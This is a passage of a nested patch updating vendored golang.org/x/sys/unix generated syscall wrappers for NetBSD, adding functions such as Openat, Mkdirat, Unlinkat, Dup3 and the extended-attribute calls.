-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -862,6 +1228,21 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -877,6 +1258,21 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -903,6 +1299,22 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pathconf(path string, name int) (val int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -992,6 +1404,28 @@ func Readlink(path string, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p1 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p1 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Rename(from string, to string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(from)
-@@ -1012,6 +1446,26 @@ func Rename(from string, to string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(from)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(to)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Revoke(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1053,8 +1507,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1189,6 +1644,21 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Statvfs1(path string, buf *Statvfs_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATVFS1, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1209,6 +1679,26 @@ func Symlink(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sync() (err error) {
- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
- if e1 != 0 {
-@@ -1257,6 +1747,21 @@ func Unlink(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unmount(path string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go
-index 7b6c2c87..d8cf5012 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -netbsd -tags netbsd,amd64 syscall_bsd.go syscall_netbsd.go syscall_netbsd_amd64.go
-+// go run mksyscall.go -netbsd -tags netbsd,amd64 syscall_bsd.go syscall_netbsd.go syscall_netbsd_amd64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build netbsd,amd64
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -378,7 +362,7 @@ func pipe() (fd1 int, fd2 int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getdents(fd int, buf []byte) (n int, err error) {
-+func Getdents(fd int, buf []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -395,6 +379,49 @@ func getdents(fd int, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -526,6 +553,16 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Dup3(from int, to int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Exit(code int) {
- Syscall(SYS_EXIT, uintptr(code), 0, 0)
- return
-@@ -533,6 +570,245 @@ func Exit(code int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func ExtattrGetFd(fd int, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetFd(fd int, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteFd(fd int, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListFd(fd int, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_FD, uintptr(fd), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrGetFile(file string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetFile(file string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteFile(file string, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListFile(file string, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrGetLink(link string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetLink(link string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteLink(link string, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListLink(link string, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall6(SYS_POSIX_FADVISE, uintptr(fd), 0, uintptr(offset), 0, uintptr(length), uintptr(advice))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchdir(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -563,6 +839,21 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
-@@ -573,6 +864,21 @@ func Fchown(fd int, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Flock(fd int, how int) (err error) {
- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
-@@ -604,6 +910,31 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatvfs1(fd int, buf *Statvfs_t, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATVFS1, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -807,6 +1138,26 @@ func Link(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Listen(s int, backlog int) (err error) {
- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
-@@ -847,6 +1198,21 @@ func Mkdir(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -862,6 +1228,21 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -877,6 +1258,21 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -903,6 +1299,22 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pathconf(path string, name int) (val int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -992,6 +1404,28 @@ func Readlink(path string, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p1 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p1 = unsafe.Pointer(&_zero)
-+ }
